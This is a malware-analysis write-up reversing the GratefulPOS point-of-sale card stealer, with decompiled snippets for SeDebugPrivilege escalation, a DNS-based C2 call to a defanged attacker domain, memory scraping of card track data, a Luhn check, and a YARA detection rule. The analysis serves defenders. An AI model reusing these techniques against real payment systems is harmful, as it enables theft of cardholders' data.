Let's Learn: Reversing "GratefulPOS" Point-of-Sale Malware in-Depth

Goal: Reverse the latest Point-of-Sale (POS) malware dubbed "GratefulPOS" in-depth including some of the notable source code-level insights.

Source: RSA FirstWatch Blog 
"GratefulPOS credit card stealing malware - just in time for the shopping season" 
Malware Sample67a53bd24ee8499fed79c8c368e05f7a
Credit@w1mp1k1ng
POS Malware Brief:
  • POS malware targets targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. 
Look Maa! It's zero-detection Point-of-Sales #POS #malware we are calling #gratefulPOS just in time for holiday shopping season! https://t.co/WpA6KCi3zu
— w1mp1 (@w1mp1k1ng) December 8, 2017
GratefulPOS Background:

  • Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally,  this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past. All in all, the GratefulPOS malware appears to communicate via DNS with the purported "grp1" campaign identifier and contains debug Track 2 data presumably for testing purposes.

Deep dive into the GratefulPOS malware:
I. Malware Service Installation and Persistence
II. Byte String Build and XOR Encoder with Key "0AAh"
III. Memory Scraping Debug Privilege 
IV. Client-Server Communications
V. Logger File and Collector File Generation
VI. Scraping Process Whitelisting
VII. Memory Scraping Logic
VIII. Luhn Algorithm
X. Self-Deletion Process
XI. Yara Signature
I. Malware Service Installation and Persistence
The first thing that this GratefuPOS malware does is creates itself up as a service for persistence.
The malware masks itself as a legitimate-looking service titled “LogMeIn Hamachi Launcher” with the short name of “LogMeInHamachi”. For those unfamiliar, LogMeIn Hamachi is a "virtual private network (VPN) application that is capable of establishing direct links between computers that are behind NAT firewalls without requiring reconfiguration (when the user's PC can be accessed directly without relays from the Internet/WAN side)." Such VPN software is extremely popular amongst administrators and technicians who might need to remotely login to the point-of-sale card network to address IT administrative and network issues.
The malware control function contains the following four functions:
stop
start
install
uninstall
The install function leverages usual OpenSCManagerA, CreateServiceA to create the service with the description "Provides launch functionality for LogMeInHamachi services." Additionally, it creates a unique mutex titled 'DLLLaunchasdf1'


II. XOR Byte String Build and XOR Obfuscation with Key "0AAh"
Throughout its execution, the malware builds some notable strings via xoring the byte section in the loop *(&byte_memory ++) ^= 0x4Dh (via sequence of mov, xor, shl, movsx, and shl calls) displaying the strings as follows:
4060320344370557=19022010000068600000
ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com
SeDebugPrivilege
0.0.0.0
recv
send
Oftentimes, malware coders build string paths to bypass some static anti-virus detection.
Notably, the GratefulPOS malware obfuscates its stolen data via the hardcoded XOR byte key to strings as follows:
*((_BYTE *)value + iter) ^= 0AAh

and converts it into hexadecimals adding to snprintf API call. The hardcoded xor byte key used is "0AAh." Additionally, the malware checks the hardcoded string array while it XOR's the data.
III. Memory Scraping Debug Privilege 
Then, the POS malware tries to obtain "SeDebugPrivilege" access for memory parsing leveraging the combination of GetCurrentProcess, OpenProcessToken, LookupPrivilegeValueA, and AdjustTokenPrivileges API calls.
int __cdecl sedebug_escalation(LPCSTR lpName)
{
  HANDLE v1; 
  int result; 
  DWORD ReturnLength; 
  HANDLE TokenHandle;
  struct _TOKEN_PRIVILEGES NewState;

  memset(&NewState, 0, 0x10u);                  // GratefulPOS obtain SeDebugPrivilege
  NewState.PrivilegeCount = 1;
  v1 = GetCurrentProcess();
  if ( OpenProcessToken(v1, 0xF01FFu, &TokenHandle) )
  {
    if ( LookupPrivilegeValueA(0, lpName, (PLUID)NewState.Privileges) )
    {
      NewState.Privileges[0].Attributes = 2;
      if ( AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0, &ReturnLength) )
      {
        CloseHandle(TokenHandle);
        result = 1;
      }
      else
      {
        CloseHandle(TokenHandle);
        result = 0;
      }
    }
    else
    {
      CloseHandle(TokenHandle);
      result = 0;
    }
  }
  else
  {
    result = 0;
  }
  return result;
}
IV. Client-Server Communications
The malware proceeds to check if the SID using AllocateAndInitializeSid and EqualSid to see if it has succeeded with the call. If the return call equals "1," the malware copies and stores the string "adm"  indicating admin privileges. Otherwise, GratefulPOS copies and stores the string "nadm" indicating the absence of such privileges. 
Eventually, the malware uses this information as part of the ping.%s.%s.%s.%s storing it as string in the first argument to reach the server ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com (GET /index.php HTTP/1.0, wherein the bot id is generated via GetComputerNameA xor'ed with the  byte key used "0AAh" and converted into hexadecimals. All in all, the malware runs the server calls in a separate thread. The POS malware then sleeps randomly for the period of between 2 hours and 3 hours (rand() % 3600000 + 7200000) before the next server call. GratefulPOS also adds the likely campaign identifier as “grp1” to the request when sending the data to the server. Notably, if the malware reads the value as "cccc," it removes itself from the system.
signed int __cdecl get_http_resolve_func(int a1)
{
  signed int result; 
  char v2; 
  int v3; 
  int v4; 
  int v5; 
  int v6; 
  int v7; 
  int v8; 
  int v9; 
  int v10; 
  char v11; 
  char v12; 

  v11 = 0;
  memset(&v12, 0, 0x7FFu);
  _snprintf(&v11, 2047u, "%s.%s.%s.%s", logmein_bid_value, 'grp1', a1, &name);
  v10 = 0;
  v6 = 0;
  memset(&v2, 0, 0x20u);
  v3 = 0;
  v4 = 1;
  v5 = 17;
  v7 = call_c2((int)&v11, (int)"http", (int)&v2, (int)&v10);
  if ( v7 )
  {
    result = -1;
  }
  else
  {
    v8 = *(_DWORD *)(v10 + 24);
    v9 = *(_DWORD *)(v8 + 4);
    if ( v9 == 'cccc' )
      self_delete_func();
    func_6(v10);
    result = 0;
  }
  return result;
V. Logger File and Collector File Generation
The POS malware proceeds to open the file "logmein[.]bid" with read access privileges and read first 10 bytes. If it does not exit it will create a file "logmein[.]bid" with four two-digit random signed integers between 0 and 255 in hexadecimals generated via the rand() % 255 command. This generated string becomes the exfiltration file marker masked as a system ".dat" file.
VI. Scraping Process Whitelisting
Then, the POS malware obtains a snapshot of current running processes via CreateToolhelp32Snapshot and compares it against the whitelisted ones for memory scraping function. The whitelisted functions as follows:
wininit.exe
services.exe
smss.exe
csrss.exe
winlogon.exe
sched.exe
lsass.exe
svchost.exe
conhost.exe
ctfmon.exe
spoolsv.exe
System
taskmgr.exe
explorer.exe
wmiprvse.exe
mdm.exe
chrome.exe
Chrome.exe
RegSrvc.exe
firefox.exe
This is done to shorten memory scraping time looking for Track data by excluding known processes not associated with possible point-of-sale software. 
VII. Memory Scraping Logic

GratefulPOS proceeds to read process memory pages leveraging using VirtualQueryEx reading Buffer.State & 0x1000 && Buffer.Protect & 0xCC at a time. The malware also compares if the process file path is at least 5 characters long. Then, the POS malware scans memory regions via ReadProcessMemory API looking for Track 1 and Track 2 data and writing and appending it to the ".dat" file as "tt1.%s.%s.%s.%s" Track 1 data and "tt2.%s.%s" Track 2 data if the matched length is 140 and 60 characters, respectively. The malware also checks if it can reach the server and after several attempts it deletes the stolen data. Additionally, GratefulPOS appends "notice" to the same file to mark debugger output.
VIII. Luhn Algorithm
The malware also validates the card information by running the Luhn algorithm for any purported track data that does not begin with digits “4” (VISA), “5” (Mastercard), “6” (Discover), “34" (AMEX), “37” (AMEX), “36” (Diner’s Club), and “300-305” (Diner’s Club).
The Luhn function that verifies the validity of personal account number (PAN) is as follows:
BOOL __cdecl Luhn_Check(char *a1)
{
  size_t v1;
  int v3; 
  signed int v4; 
  signed int v5; 
  size_t v6; 
  int v7; 
  int v8; 
  int v9; 
  int v10; 
  int v11; 
  int v12; 
  int v13;
  int v14;
  int v15; 
  int v16;

  v7 = 0;
  v8 = 2;
  v9 = 4;
  v10 = 6;
  v11 = 8;
  v12 = 1;
  v13 = 3;
  v14 = 5;
  v15 = 7;
  v16 = 9;
  v5 = 1;
  v4 = 0;
  v6 = strlen(a1);
  while ( 1 )
  {
    v1 = v6--;
    if ( !v1 )
      break;
    if ( v5 )
      v3 = a1[v6] - 48;
    else
      v3 = *(&v7 + a1[v6] - 48);
    v4 += v3;
    v5 = v5 == 0;
  }
  return v4 % 10 == 0;
}
X. Self-Deletion Process
The malware deletes itself removing itself the RUN key registry key as "LogMeIn Hamachi Launcher" and deleting itself as "logmeinlauncher[.]exe" upon reading the instruction "cccc."
XI. YARA RULE
rule crime_win32_gratefulpos_trojan {
        meta:
                description = "GratefulPOS malware variant"
                author = "@VK_Intel"
                reference = "Detects POS"
                date = "2017-12-10"
        strings:
                $s0 = "conhost.exe" fullword ascii
                $s1 = "del logmeinlauncher.exe" fullword ascii
                $s2 = "Chrome.exe" fullword ascii
                $s3 = "taskmgr.exe" fullword ascii
                $s4 = "firefox.exe" fullword ascii
                $s5 = "logmeinlauncher.exe stop" fullword ascii
                $s6 = "ping 1.1.1.1 -n 1 -w 3000 > nul" fullword ascii
                $s7 = "Ymscoree.dll" fullword wide
                $s8 = "LogMeInHamachi Process Launcher" fullword ascii
                $s9 = "sched.exe" fullword ascii
                $s10 = "wininit.exe" fullword ascii
                $s11 = "wmiprvse.exe" fullword ascii
                $s12 = "RegSrvc.exe" fullword ascii
                $s13 = "mdm.exe" fullword ascii
                $s14 = "GET /index.php HTTP/1.0" fullword ascii
                $s15 = "LogMeIn Hamachi Launcher" fullword ascii
                $s16 = "logmein.bid" fullword ascii
                $s17 = "del sd.bat" fullword ascii
                $s`8 = "sd.bat" fullword ascii
        condition:
                uint16(0) == 0x5a4d and filesize < 500KB and 10 of them
}

Article Link: http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html